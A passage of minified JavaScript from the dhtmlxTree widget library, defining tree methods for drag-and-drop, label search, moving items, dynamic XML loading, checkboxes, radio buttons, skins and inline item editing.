c=0;c<a.childsCount;c++){this._globalIdStorageRecSub(a.childNodes[c]);this._globalIdStorageSub(a.childNodes[c].id)}this._globalIdStorageSub(a.id);var e=a;e.span=null;e.tr.nodem=null;e.tr=null;e.htmlNode=null};dhtmlXTreeObject.prototype.insertNewNext=function(n,r,q,e,l,h,g,c,a){var m=this._globalIdStorageFind(n);if((!m)||(!m.parentObject)){return(0)}var o=this._attachChildNode(0,r,q,e,l,h,g,c,a,m);if((!this.XMLloadingWarning)&&(this.childCalc)){this._fixChildCountLabel(m.parentObject)}return o};dhtmlXTreeObject.prototype.getItemIdByIndex=function(e,a){var c=this._globalIdStorageFind(e);if((!c)||(a>=c.childsCount)){return null}return c.childNodes[a].id};dhtmlXTreeObject.prototype.getChildItemIdByIndex=function(e,a){var c=this._globalIdStorageFind(e);if((!c)||(a>=c.childsCount)){return null}return c.childNodes[a].id};dhtmlXTreeObject.prototype.setDragHandler=function(a){this.attachEvent(\"onDrag\",a)};dhtmlXTreeObject.prototype._clearMove=function(){if(this._lastMark){this._lastMark.className=this._lastMark.className.replace(/dragAndDropRow/g,\"\");this._lastMark=null}this.selectionBar.style.display=\"none\";this.allTree.className=this.allTree.className.replace(\" selectionBox\",\"\")};dhtmlXTreeObject.prototype.enableDragAndDrop=function(c,a){if(c==\"temporary_disabled\"){this.dADTempOff=false;c=true}else{this.dADTempOff=true}this.dragAndDropOff=dhx4.s2b(c);if(this.dragAndDropOff){this.dragger.addDragLanding(this.allTree,this)}if(arguments.length>1){this._ddronr=(!dhx4.s2b(a))}};dhtmlXTreeObject.prototype._setMove=function(h,e,m){if(h.parentObject.span){var g=dhx4.absTop(h);var c=dhx4.absTop(this.allTree)-this.allTree.scrollTop;this.dadmodec=this.dadmode;this.dadmodefix=0;if(this.dadmode==2){var l=m-g+(document.body.scrollTop||document.documentElement.scrollTop)-2-h.offsetHeight/2;if((Math.abs(l)-h.offsetHeight/6)>0){this.dadmodec=1;if(l<0){this.dadmodefix=0-h.offsetHeight}}else{this.dadmodec=0}}if(this.dadmodec==0){var a=h.parentObject.span;a.className+=\" dragAndDropRow\";this._lastMark=a}else{this._clearMove();this.selectionBar.style.top=(g-c+((parseInt(h.parentObject.span.parentNode.previousSibling.childNodes[0].style.height)||18)-1)+this.dadmodefix)+\"px\";this.selectionBar.style.left=\"5px\";if(this.allTree.offsetWidth>20){this.selectionBar.style.width=(this.allTree.offsetWidth-(_isFF?30:25))+\"px\"}this.selectionBar.style.display=\"\"}this._autoScroll(null,g,c)}};dhtmlXTreeObject.prototype._autoScroll=function(e,c,a){if(this.autoScroll){if(e){c=dhx4.absTop(e);a=dhx4.absTop(this.allTree)-this.allTree.scrollTop}if((c-a-parseInt(this.allTree.scrollTop))>(parseInt(this.allTree.offsetHeight)-50)){this.allTree.scrollTop=parseInt(this.allTree.scrollTop)+20}if((c-a)<(parseInt(this.allTree.scrollTop)+30)){this.allTree.scrollTop=parseInt(this.allTree.scrollTop)-20}}};dhtmlXTreeObject.prototype._createDragNode=function(l,h){if(!this.dADTempOff){return null}var g=l.parentObject;if(!this.callEvent(\"onBeforeDrag\",[g.id,h])){return null}if(!g.i_sel){this._selectItem(g,h)}this._checkMSelectionLogic();var c=document.createElement(\"div\");var m=new Array();if(this._itim_dg){for(var a=0;a<this._selected.length;a++){m[a]=\"<table cellspacing='0' cellpadding='0'><tr><td><img width='18px' height='18px' src='\"+this._getSrc(this._selected[a].span.parentNode.previousSibling.childNodes[0])+\"'></td><td>\"+this._selected[a].span.innerHTML+\"</td></tr></table>\"}}else{m=this.getSelectedItemText().split(this.dlmtr)}c.innerHTML=m.join(\"\");c.style.position=\"absolute\";c.className=\"dragSpanDiv\";this._dragged=(new Array()).concat(this._selected);return c};dhtmlXTreeObject.prototype._focusNode=function(a){var c=dhx4.absTop(a.htmlNode)-dhx4.absTop(this.allTree);if((c>(this.allTree.offsetHeight-30))||(c<0)){this.allTree.scrollTop=c+this.allTree.scrollTop}};dhtmlXTreeObject.prototype._preventNsDrag=function(a){if((a)&&(a.preventDefault)){a.preventDefault();return false}return false};dhtmlXTreeObject.prototype._drag=function(m,n,a){if(this._autoOpenTimer){clearTimeout(this._autoOpenTimer)}if(!a.parentObject){a=this.htmlNode.htmlNode.childNodes[0].childNodes[0].childNodes[1].childNodes[0];this.dadmodec=0}this._clearMove();var l=m.parentObject.treeNod;if((l)&&(l._clearMove)){l._clearMove(\"\")}if((!this.dragMove)||(this.dragMove())){if((!l)||(!l._clearMove)||(!l._dragged)){var g=new Array(m.parentObject)}else{var g=l._dragged}var c=a.parentObject;for(var h=0;h<g.length;h++){var e=this._moveNode(g[h],c);if((this.dadmodec)&&(e!==false)){c=this._globalIdStorageFind(e,true,true)}if((e)&&(!this._sADnD)){this.selectItem(e,0,1)}}}if(l){l._dragged=new Array()}};dhtmlXTreeObject.prototype._dragIn=function(g,c,l,h){if(!this.dADTempOff){return 0}var m=c.parentObject;var a=g.parentObject;if((!a)&&(this._ddronr)){return}if(!this.callEvent(\"onDragIn\",[m.id,a?a.id:null,m.treeNod,this])){if(a){this._autoScroll(g)}return 0}if(!a){this.allTree.className+=\" selectionBox\"}else{if(m.childNodes==null){this._setMove(g,l,h);return g}var o=m.treeNod;for(var e=0;e<o._dragged.length;e++){if(this._checkPNodes(a,o._dragged[e])){this._autoScroll(g);return 0}}this.selectionBar.parentNode.removeChild(this.selectionBar);a.span.parentNode.appendChild(this.selectionBar);this._setMove(g,l,h);if(this._getOpenState(a)<=0){var n=this;this._autoOpenId=a.id;this._autoOpenTimer=window.setTimeout(function(){n._autoOpenItem(null,n);n=null},1000)}}return g};dhtmlXTreeObject.prototype._autoOpenItem=function(c,a){a.openItem(a._autoOpenId)};dhtmlXTreeObject.prototype._dragOut=function(a){this._clearMove();if(this._autoOpenTimer){clearTimeout(this._autoOpenTimer)}};dhtmlXTreeObject.prototype._getNextNode=function(a,c){if((!c)&&(a.childsCount)){return a.childNodes[0]}if(a==this.htmlNode){return -1}if((a.tr)&&(a.tr.nextSibling)&&(a.tr.nextSibling.nodem)){return a.tr.nextSibling.nodem}return this._getNextNode(a.parentObject,true)};dhtmlXTreeObject.prototype._lastChild=function(a){if(a.childsCount){return this._lastChild(a.childNodes[a.childsCount-1])}else{return a}};dhtmlXTreeObject.prototype._getPrevNode=function(a,c){if((a.tr)&&(a.tr.previousSibling)&&(a.tr.previousSibling.nodem)){return this._lastChild(a.tr.previousSibling.nodem)}if(a.parentObject){return a.parentObject}else{return -1}};dhtmlXTreeObject.prototype.findItem=function(a,e,c){var g=this._findNodeByLabel(a,e,(c?this.htmlNode:null));if(g){this.selectItem(g.id,true);this._focusNode(g);return g.id}else{return null}};dhtmlXTreeObject.prototype.findItemIdByLabel=function(a,e,c){var g=this._findNodeByLabel(a,e,(c?this.htmlNode:null));if(g){return g.id}else{return null}};dhtmlXTreeObject.prototype.findStrInXML=function(c,e,h){if(!c.childNodes&&c.item){return this.findStrInJSON(c,e,h)}if(!c.childNodes){return false}for(var a=0;a<c.childNodes.length;a++){if(c.childNodes[a].nodeType==1){var g=c.childNodes[a].getAttribute(e);if(!g&&c.childNodes[a].tagName==\"itemtext\"){g=c.childNodes[a].firstChild.data}if((g)&&(g.toLowerCase().search(h)!=-1)){return true}if(this.findStrInXML(c.childNodes[a],e,h)){return true}}}return false};dhtmlXTreeObject.prototype.findStrInJSON=function(c,e,h){for(var a=0;a<c.item.length;a++){var g=c.item[a].text;if((g)&&(g.toLowerCase().search(h)!=-1)){return true}if(c.item[a].item&&this.findStrInJSON(c.item[a],e,h)){return true}}return false};dhtmlXTreeObject.prototype._findNodeByLabel=function(a,h,g){var a=a.replace(new RegExp(\"^( )+\"),\"\").replace(new RegExp(\"( )+$\"),\"\");a=new RegExp(a.replace(/([\\^\\.\\?\\*\\+\\\\\\[\\]\\(\\)]{1})/gi,\"\\\\$1\").replace(/ /gi,\".*\"),\"gi\");if(!g){g=this._selected[0];if(!g){g=this.htmlNode}}var c=g;if(!h){if((g.unParsed)&&(this.findStrInXML(g.unParsed.d,\"text\",a))){this.reParse(g)}g=this._getNextNode(c);if(g==-1){g=this.htmlNode.childNodes[0]}}else{var e=this._getPrevNode(c);if(e==-1){e=this._lastChild(this.htmlNode)}if((e.unParsed)&&(this.findStrInXML(e.unParsed.d,\"text\",a))){this.reParse(e);g=this._getPrevNode(c)}else{g=e}if(g==-1){g=this._lastChild(this.htmlNode)}}while((g)&&(g!=c)){if((g.label)&&(g.label.search(a)!=-1)){return(g)}if(!h){if(g==-1){if(c==this.htmlNode){break}g=this.htmlNode.childNodes[0]}if((g.unParsed)&&(this.findStrInXML(g.unParsed.d,\"text\",a))){this.reParse(g)}g=this._getNextNode(g);if(g==-1){g=this.htmlNode}}else{var e=this._getPrevNode(g);if(e==-1){e=this._lastChild(this.htmlNode)}if((e.unParsed)&&(this.findStrInXML(e.unParsed.d,\"text\",a))){this.reParse(e);g=this._getPrevNode(g)}else{g=e}if(g==-1){g=this._lastChild(this.htmlNode)}}}return null};dhtmlXTreeObject.prototype.moveItem=function(n,c,o,a){var h=this._globalIdStorageFind(n);if(!h){return(0)}var l=null;switch(c){case\"right\":alert(\"Not supported yet\");break;case\"item_child\":var e=(a||this)._globalIdStorageFind(o);if(!e){return(0)}l=(a||this)._moveNodeTo(h,e,0);break;case\"item_sibling\":var e=(a||this)._globalIdStorageFind(o);if(!e){return(0)}l=(a||this)._moveNodeTo(h,e.parentObject,e);break;case\"item_sibling_next\":var e=(a||this)._globalIdStorageFind(o);if(!e){return(0)}if((e.tr)&&(e.tr.nextSibling)&&(e.tr.nextSibling.nodem)){l=(a||this)._moveNodeTo(h,e.parentObject,e.tr.nextSibling.nodem)}else{l=(a||this)._moveNodeTo(h,e.parentObject)}break;case\"left\":if(h.parentObject.parentObject){l=this._moveNodeTo(h,h.parentObject.parentObject,h.parentObject)}break;case\"up\":var m=this._getPrevNode(h);if((m==-1)||(!m.parentObject)){return null}l=this._moveNodeTo(h,m.parentObject,m);break;case\"up_strict\":var m=this._getIndex(h);if(m!=0){l=this._moveNodeTo(h,h.parentObject,h.parentObject.childNodes[m-1])}break;case\"down_strict\":var m=this._getIndex(h);var g=h.parentObject.childsCount-2;if(m==g){l=this._moveNodeTo(h,h.parentObject)}else{if(m<g){l=this._moveNodeTo(h,h.parentObject,h.parentObject.childNodes[m+2])}}break;case\"down\":var m=this._getNextNode(this._lastChild(h));if((m==-1)||(!m.parentObject)){return}if(m.parentObject==h.parentObject){var m=this._getNextNode(m)}if(m==-1){l=this._moveNodeTo(h,h.parentObject)}else{if((m==-1)||(!m.parentObject)){return}l=this._moveNodeTo(h,m.parentObject,m)}break}if(_isIE&&_isIE<8){this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\"}return l};dhtmlXTreeObject.prototype.setDragBehavior=function(c,a){this._sADnD=(!dhx4.s2b(a));switch(c){case\"child\":this.dadmode=0;break;case\"sibling\":this.dadmode=1;break;case\"complex\":this.dadmode=2;break}};dhtmlXTreeObject.prototype._loadDynXML=function(e,c){c=c||this.XMLsource;var a=(new Date()).valueOf();this._ld_id=e;if(this.xmlalb==\"function\"){if(c){c(this._escape(e))}}else{if(this.xmlalb==\"name\"){this.loadXML(c+this._escape(e))}else{if(this.xmlalb==\"xmlname\"){this.loadXML(c+this._escape(e)+\".xml?uid=\"+a)}else{this.loadXML(c+dhtmlx.url(c)+\"uid=\"+a+\"&id=\"+this._escape(e))}}}};dhtmlXTreeObject.prototype.enableMultiselection=function(c,a){this._amsel=dhx4.s2b(c);this._amselS=dhx4.s2b(a)};dhtmlXTreeObject.prototype._checkMSelectionLogic=function(){var e=new Array();for(var c=0;c<this._selected.length;c++){for(var a=0;a<this._selected.length;a++){if((c!=a)&&(this._checkPNodes(this._selected[a],this._selected[c]))){e[e.length]=this._selected[a]}}}for(var c=0;c<e.length;c++){this._unselectItem(e[c])}};dhtmlXTreeObject.prototype._checkPNodes=function(c,a){if(this._dcheckf){return false}if(a==c){return 1}if(c.parentObject){return this._checkPNodes(c.parentObject,a)}else{return 0}};dhtmlXTreeObject.prototype.disableDropCheck=function(a){this._dcheckf=dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableDistributedParsing=function(e,c,a){this._edsbps=dhx4.s2b(e);this._edsbpsA=new Array();this._edsbpsC=c||10;this._edsbpsD=a||250};dhtmlXTreeObject.prototype.getDistributedParsingState=function(){return(!((!this._edsbpsA)||(!this._edsbpsA.length)))};dhtmlXTreeObject.prototype.getItemParsingState=function(e){var c=this._globalIdStorageFind(e,true,true);if(!c){return 0}if(this._edsbpsA){for(var a=0;a<this._edsbpsA.length;a++){if(this._edsbpsA[a][2]==e){return -1}}}return 1};dhtmlXTreeObject.prototype._distributedStart=function(c,h,g,e,a){if(!this._edsbpsA){this._edsbpsA=new Array()}this._edsbpsA[this._edsbpsA.length]=[c,h,g,e,a]};dhtmlXTreeObject.prototype._distributedStep=function(g){var c=this;if((!this._edsbpsA)||(!this._edsbpsA.length)){c.XMLloadingWarning=0;return}var h=this._edsbpsA[0];this.parsedArray=new Array();this._parse(h[0],h[2],h[3],h[1]);var a=this._globalIdStorageFind(h[2]);this._redrawFrom(this,a,h[4],this._getOpenState(a));var e=this.setCheckList.split(this.dlmtr);for(var l=0;l<e.length;l++){if(e[l]){this.setCheck(e[l],1)}}this._edsbpsA=(new Array()).concat(this._edsbpsA.slice(1));if((!this._edsbpsA.length)){window.setTimeout(function(){if(c.onXLE){c.onXLE(c,g)}c.callEvent(\"onXLE\",[c,g])},1);c.xmlstate=0}};dhtmlXTreeObject.prototype.enableTextSigns=function(a){this._txtimg=dhx4.s2b(a)};dhtmlXTreeObject.prototype.preventIECaching=function(a){dhx4.ajax.cache=!a};dhtmlXTreeObject.prototype.preventIECashing=dhtmlXTreeObject.prototype.preventIECaching;dhtmlXTreeObject.prototype.disableCheckbox=function(e,c){if(typeof(e)!=\"object\"){var a=this._globalIdStorageFind(e,0,1)}else{var a=e}if(!a){return}a.dscheck=dhx4.s2b(c)?(((a.checkstate||0)%3)+3):((a.checkstate>2)?(a.checkstate-3):a.checkstate);this._setCheck(a);if(a.dscheck<3){a.dscheck=false}};dhtmlXTreeObject.prototype.smartRefreshBranch=function(c,a){this._branchUpdate=1;this.smartRefreshItem(c,a)};dhtmlXTreeObject.prototype.smartRefreshItem=function(g,e){var a=this._globalIdStorageFind(g);for(var c=0;c<a.childsCount;c++){a.childNodes[c]._dmark=true}this.waitUpdateXML=true;if(e&&e.exists){this._parse(e,g)}else{this._loadDynXML(g,e)}};dhtmlXTreeObject.prototype.refreshItems=function(c,e){var g=c.toString().split(this.dlmtr);this.waitUpdateXML=new Array();for(var a=0;a<g.length;a++){this.waitUpdateXML[g[a]]=true}this.loadXML((e||this.XMLsource)+dhtmlx.url(e||this.XMLsource)+\"ids=\"+this._escape(c))};dhtmlXTreeObject.prototype.updateItem=function(m,l,g,e,c,h,n){var a=this._globalIdStorageFind(m);a.userData=new cObject();if(l){a.label=l}a.images=new Array(g||this.imageArray[0],e||this.imageArray[1],c||this.imageArray[2]);this.setItemText(m,l);if(h){this._setCheck(a,true)}if(n==\"1\"&&!this.hasChildren(m)){a.XMLload=0}this._correctPlus(a);a._dmark=false;return a};dhtmlXTreeObject.prototype.setDropHandler=function(a){this.attachEvent(\"onDrop\",a)};dhtmlXTreeObject.prototype.setOnLoadingStart=function(a){this.attachEvent(\"onXLS\",a)};dhtmlXTreeObject.prototype.setOnLoadingEnd=function(a){this.attachEvent(\"onXLE\",a)};dhtmlXTreeObject.prototype.setXMLAutoLoadingBehaviour=function(a){this.xmlalb=a};dhtmlXTreeObject.prototype.enableSmartCheckboxes=function(a){this.smcheck=dhx4.s2b(a)};dhtmlXTreeObject.prototype.getXMLState=function(){return(this.xmlstate==1)};dhtmlXTreeObject.prototype.setItemTopOffset=function(l,g){var e;if(typeof(l)!=\"object\"){e=this._globalIdStorageFind(l)}else{e=l}var h=e.span.parentNode.parentNode;e.span.style.paddingBottom=\"1px\";for(var c=0;c<h.childNodes.length;c++){if(c!=0){if(_isIE){h.childNodes[c].style.height=\"18px\";h.childNodes[c].style.paddingTop=parseInt(g)+\"px\"}else{h.childNodes[c].style.height=18+parseInt(g)+\"px\"}}else{var a=h.childNodes[c].firstChild;if(h.childNodes[c].firstChild.tagName!=\"DIV\"){a=document.createElement(\"DIV\");h.childNodes[c].insertBefore(a,h.childNodes[c].firstChild)}if((e.parentObject.id!=this.rootId||e.parentObject.childNodes[0]!=e)&&this.treeLinesOn){h.childNodes[c].style.backgroundImage=\"url(\"+this.imPath+this.lineArray[5]+\")\"}a.innerHTML=\"&nbsp;\";a.style.overflow=\"hidden\"}a.style.verticalAlign=h.childNodes[c].style.verticalAlign=\"bottom\";if(_isIE){this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\"}}};dhtmlXTreeObject.prototype.setIconSize=function(g,c,h){if(h){if((h)&&(h.span)){var a=h}else{var a=this._globalIdStorageFind(h)}if(!a){return(0)}var e=a.span.parentNode.previousSibling.childNodes[0];if(g){e.style.width=g+\"px\";if(window._KHTMLrv){e.parentNode.style.width=g+\"px\"}}if(c){e.style.height=c+\"px\";if(window._KHTMLrv){e.parentNode.style.height=c+\"px\"}}}else{this.def_img_x=g;this.def_img_y=c}};dhtmlXTreeObject.prototype.getItemImage=function(h,g,c){var e=this._globalIdStorageFind(h);if(!e){return\"\"}var a=e.images[g||0];if(c){a=this.iconURL+a}return a};dhtmlXTreeObject.prototype.enableRadioButtons=function(g,e){if(arguments.length==1){this._frbtr=dhx4.s2b(g);this.checkBoxOff=this.checkBoxOff||this._frbtr;return}var c=this._globalIdStorageFind(g);if(!c){return\"\"}e=dhx4.s2b(e);if((e)&&(!c._r_logic)){c._r_logic=true;for(var a=0;a<c.childsCount;a++){this._setCheck(c.childNodes[a],c.childNodes[a].checkstate)}}if((!e)&&(c._r_logic)){c._r_logic=false;for(var a=0;a<c.childsCount;a++){this._setCheck(c.childNodes[a],c.childNodes[a].checkstate)}}};dhtmlXTreeObject.prototype.enableSingleRadioMode=function(a){this._frbtrs=dhx4.s2b(a)};dhtmlXTreeObject.prototype.openOnItemAdded=function(a){this._hAdI=!dhx4.s2b(a)};dhtmlXTreeObject.prototype.openOnItemAdding=function(a){this._hAdI=!dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableMultiLineItems=function(a){if(a===true){this.mlitems=\"100%\"}else{this.mlitems=a}};dhtmlXTreeObject.prototype.enableAutoTooltips=function(a){this.ettip=dhx4.s2b(a)};dhtmlXTreeObject.prototype.clearSelection=function(a){if(a){this._unselectItem(this._globalIdStorageFind(a))}else{this._unselectItems()}};dhtmlXTreeObject.prototype.showItemSign=function(g,c){var a=this._globalIdStorageFind(g);if(!a){return 0}var e=a.span.parentNode.previousSibling.previousSibling.previousSibling;if(!dhx4.s2b(c)){this._openItem(a);a.closeble=false;a.wsign=true}else{a.closeble=true;a.wsign=false}this._correctPlus(a)};dhtmlXTreeObject.prototype.showItemCheckbox=function(h,g){if(!h){for(var c in this._idpull){this.showItemCheckbox(this._idpull[c],g)}}if(typeof(h)!=\"object\"){h=this._globalIdStorageFind(h,0,0)}if(!h){return 0}h.nocheckbox=!dhx4.s2b(g);var e=h.span.parentNode.previousSibling.previousSibling.childNodes[0];e.parentNode.style.display=(!h.nocheckbox)?\"\":\"none\"};dhtmlXTreeObject.prototype.setListDelimeter=function(a){this.dlmtr=a};dhtmlXTreeObject.prototype.setEscapingMode=function(a){this.utfesc=a};dhtmlXTreeObject.prototype.enableHighlighting=function(a){this.ehlt=true;this.ehlta=dhx4.s2b(a)};dhtmlXTreeObject.prototype._itemMouseOut=function(){var c=this.childNodes[3].parentObject;var a=c.treeNod;a.callEvent(\"onMouseOut\",[c.id]);if(c.id==a._l_onMSI){a._l_onMSI=null}if(!a.ehlta){return}c.span.className=c.span.className.replace(\"_lor\",\"\")};dhtmlXTreeObject.prototype._itemMouseIn=function(){var c=this.childNodes[3].parentObject;var a=c.treeNod;if(a._l_onMSI!=c.id){a.callEvent(\"onMouseIn\",[c.id])}a._l_onMSI=c.id;if(!a.ehlta){return}c.span.className=c.span.className.replace(\"_lor\",\"\");c.span.className=c.span.className.replace(/((standart|selected)TreeRow)/,\"$1_lor\")};dhtmlXTreeObject.prototype.enableActiveImages=function(a){this._aimgs=dhx4.s2b(a)};dhtmlXTreeObject.prototype.focusItem=function(c){var a=this._globalIdStorageFind(c);if(!a){return(0)}this._focusNode(a)};dhtmlXTreeObject.prototype.getAllSubItems=function(a){return this._getAllSubItems(a)};dhtmlXTreeObject.prototype.getAllChildless=function(){return this._getAllScraggyItems(this.htmlNode)};dhtmlXTreeObject.prototype.getAllLeafs=dhtmlXTreeObject.prototype.getAllChildless;dhtmlXTreeObject.prototype._getAllScraggyItems=function(e){var g=\"\";for(var c=0;c<e.childsCount;c++){if((e.childNodes[c].unParsed)||(e.childNodes[c].childsCount>0)){if(e.childNodes[c].unParsed){var a=this._getAllScraggyItemsXML(e.childNodes[c].unParsed,1)}else{var a=this._getAllScraggyItems(e.childNodes[c])}if(a){if(g){g+=this.dlmtr+a}else{g=a}}}else{if(!g){g=\"\"+e.childNodes[c].id}else{g+=this.dlmtr+e.childNodes[c].id}}}return g};dhtmlXTreeObject.prototype._getAllFatItems=function(e){var g=\"\";for(var c=0;c<e.childsCount;c++){if((e.childNodes[c].unParsed)||(e.childNodes[c].childsCount>0)){if(!g){g=\"\"+e.childNodes[c].id}else{g+=this.dlmtr+e.childNodes[c].id}if(e.childNodes[c].unParsed){var a=this._getAllFatItemsXML(e.childNodes[c].unParsed,1)}else{var a=this._getAllFatItems(e.childNodes[c])}if(a){g+=this.dlmtr+a}}}return g};dhtmlXTreeObject.prototype.getAllItemsWithKids=function(){return this._getAllFatItems(this.htmlNode)};dhtmlXTreeObject.prototype.getAllFatItems=dhtmlXTreeObject.prototype.getAllItemsWithKids;dhtmlXTreeObject.prototype.getAllChecked=function(){return this._getAllChecked(\"\",\"\",1)};dhtmlXTreeObject.prototype.getAllUnchecked=function(a){if(a){a=this._globalIdStorageFind(a)}return this._getAllChecked(a,\"\",0)};dhtmlXTreeObject.prototype.getAllPartiallyChecked=function(){return this._getAllChecked(\"\",\"\",2)};dhtmlXTreeObject.prototype.getAllCheckedBranches=function(){var a=[this._getAllChecked(\"\",\"\",1)];var c=this._getAllChecked(\"\",\"\",2);if(c){a.push(c)}return a.join(this.dlmtr)};dhtmlXTreeObject.prototype._getAllChecked=function(g,e,h){if(!g){g=this.htmlNode}if(g.checkstate==h){if(!g.nocheckbox){if(e){e+=this.dlmtr+g.id}else{e=\"\"+g.id}}}var a=g.childsCount;for(var c=0;c<a;c++){e=this._getAllChecked(g.childNodes[c],e,h)}if(g.unParsed){e=this._getAllCheckedXML(g.unParsed,e,h)}if(e){return e}else{return\"\"}};dhtmlXTreeObject.prototype.setItemStyle=function(g,e,c){var c=c||false;var a=this._globalIdStorageFind(g);if(!a){return 0}if(!a.span.style.cssText){a.span.setAttribute(\"style\",a.span.getAttribute(\"style\")+\"; \"+e)}else{a.span.style.cssText=c?e:a.span.style.cssText+\";\"+e}};dhtmlXTreeObject.prototype.enableImageDrag=function(a){this._itim_dg=dhx4.s2b(a)};dhtmlXTreeObject.prototype.setOnDragIn=function(a){this.attachEvent(\"onDragIn\",a)};dhtmlXTreeObject.prototype.enableDragAndDropScrolling=function(a){this.autoScroll=dhx4.s2b(a)};dhtmlXTreeObject.prototype.setSkin=function(a){var c=this.parentObject.className.replace(/dhxtree_[^ ]*/gi,\"\");this.parentObject.className=c+\" dhxtree_\"+a;if(a==\"dhx_terrace\"||a==\"dhx_web\"){this.enableTreeLines(false)}};(function(){dhtmlx.extend_api(\"dhtmlXTreeObject\",{_init:function(a){return[a.parent,(a.width||\"100%\"),(a.height||\"100%\"),(a.root_id||0)]},auto_save_selection:\"enableAutoSavingSelected\",auto_tooltip:\"enableAutoTooltips\",checkbox:\"enableCheckBoxes\",checkbox_3_state:\"enableThreeStateCheckboxes\",checkbox_smart:\"enableSmartCheckboxes\",context_menu:\"enableContextMenu\",distributed_parsing:\"enableDistributedParsing\",drag:\"enableDragAndDrop\",drag_copy:\"enableMercyDrag\",drag_image:\"enableImageDrag\",drag_scroll:\"enableDragAndDropScrolling\",editor:\"enableItemEditor\",hover:\"enableHighlighting\",images:\"enableTreeImages\",image_fix:\"enableIEImageFix\",image_path:\"setImagePath\",lines:\"enableTreeLines\",loading_item:\"enableLoadingItem\",multiline:\"enableMultiLineItems\",multiselect:\"enableMultiselection\",navigation:\"enableKeyboardNavigation\",radio:\"enableRadioButtons\",radio_single:\"enableSingleRadioMode\",rtl:\"enableRTL\",search:\"enableKeySearch\",smart_parsing:\"enableSmartXMLParsing\",smart_rendering:\"enableSmartRendering\",text_icons:\"enableTextSigns\",xml:\"loadXML\",skin:\"setSkin\"},{})})();dhtmlXTreeObject.prototype._dp_init=function(a){a.attachEvent(\"insertCallback\",function(g,l,c){var e=dhx4.ajax.xpath(\".//item\",g);var h=e[0].getAttribute(\"text\");this.obj.insertNewItem(c,l,h,0,0,0,0,\"CHILD\")});a.attachEvent(\"updateCallback\",function(g,l,c){var e=dhx4.ajax.xpath(\".//item\",g);var h=e[0].getAttribute(\"text\");this.obj.setItemText(l,h);if(this.obj.getParentId(l)!=c){this.obj.moveItem(l,\"item_child\",c)}this.setUpdated(l,true,\"updated\")});a.attachEvent(\"deleteCallback\",function(e,g,c){this.obj.setUserData(g,this.action_param,\"true_deleted\");this.obj.deleteItem(g,false)});a._methods=[\"setItemStyle\",\"\",\"changeItemId\",\"deleteItem\"];this.attachEvent(\"onEdit\",function(c,e){if(c==3){a.setUpdated(e,true)}return true});this.attachEvent(\"onDrop\",function(l,h,g,e,c){if(e==c){a.setUpdated(l,true)}});this._onrdlh=function(c){var e=a.getState(c);if(e==\"inserted\"){a.set_invalid(c,false);a.setUpdated(c,false);return true}if(e==\"true_deleted\"){a.setUpdated(c,false);return true}a.setUpdated(c,true,\"deleted\");return false};this._onradh=function(c){a.setUpdated(c,true,\"inserted\")};a._getRowData=function(h){var g={};var l=this.obj._globalIdStorageFind(h);var e=l.parentObject;var c=0;for(c=0;c<e.childsCount;c++){if(e.childNodes[c]==l){break}}g.tr_id=l.id;g.tr_pid=e.id;g.tr_order=c;g.tr_text=l.span.innerHTML;e=(l._userdatalist||\"\").split(\",\");for(c=0;c<e.length;c++){g[e[c]]=l.userData[\"t_\"+e[c]]}return g}};if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachTree=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"tree\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);this.dataType=\"tree\";this.dataObj=new dhtmlXTreeObject(c,\"100%\",\"100%\",(a||0));this.dataObj.setSkin(this.conf.skin);this.dataObj.allTree.childNodes[0].style.marginTop=\"2px\";this.dataObj.allTree.childNodes[0].style.marginBottom=\"2px\";c=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj}}dhtmlXTreeObject.prototype.makeDraggable=function(c,a){if(typeof(c)!=\"object\"){c=document.getElementById(c)}dragger=new dhtmlDragAndDropObject();dropper=new dhx_dragSomethingInTree();dragger.addDraggableItem(c,dropper);c.dragLanding=null;c.ondragstart=dropper._preventNsDrag;c.onselectstart=new Function(\"return false;\");c.parentObject=new Object;c.parentObject.img=c;c.parentObject.treeNod=dropper;dropper._customDrop=a};dhtmlXTreeObject.prototype.makeDragable=dhtmlXTreeObject.prototype.makeDraggable;dhtmlXTreeObject.prototype.makeAllDraggable=function(c){var e=document.getElementsByTagName(\"div\");for(var a=0;a<e.length;a++){if(e[a].getAttribute(\"dragInDhtmlXTree\")){this.makeDragable(e[a],c)}}};function dhx_dragSomethingInTree(){this.lWin=window;this._createDragNode=function(c){var a=document.createElement(\"div\");a.style.position=\"absolute\";a.innerHTML=(c.innerHTML||c.value);a.className=\"dragSpanDiv\";return a};this._preventNsDrag=function(a){(a||window.event).cancelBubble=true;if((a)&&(a.preventDefault)){a.preventDefault();return false}return false};this._nonTrivialNode=function(c,e,a,g){if(this._customDrop){return this._customDrop(c,g.img.id,e.id,a?a.id:null)}var h=(g.img.getAttribute(\"image\")||\"\");var m=g.img.id||\"new\";var l=(g.img.getAttribute(\"text\")||(_isIE?g.img.innerText:g.img.textContent));c[a?\"insertNewNext\":\"insertNewItem\"](a?a.id:e.id,m,l,\"\",h,h,h)}}dhtmlXTreeObject.prototype.enableItemEditor=function(a){this._eItEd=dhx4.s2b(a);if(!this._eItEdFlag){this._edn_click_IE=true;this._edn_dblclick=true;this._ie_aFunc=this.aFunc;this._ie_dblclickFuncHandler=this.dblclickFuncHandler;this.setOnDblClickHandler(function(e,c){if(this._edn_dblclick){this._editItem(e,c)}return true});this.setOnClickHandler(function(e,c){this._stopEditItem(e,c);if((this.ed_hist_clcik==e)&&(this._edn_click_IE)){this._editItem(e,c)}this.ed_hist_clcik=e;return true});this._eItEdFlag=true}};dhtmlXTreeObject.prototype.setOnEditHandler=function(a){this.attachEvent(\"onEdit\",a)};dhtmlXTreeObject.prototype.setEditStartAction=function(a,c){this._edn_click_IE=dhx4.s2b(a);this._edn_dblclick=dhx4.s2b(c)};dhtmlXTreeObject.prototype._stopEdit=function(c,l){if(this._editCell){this.dADTempOff=this.dADTempOffEd;if(this._editCell.id!=c){var 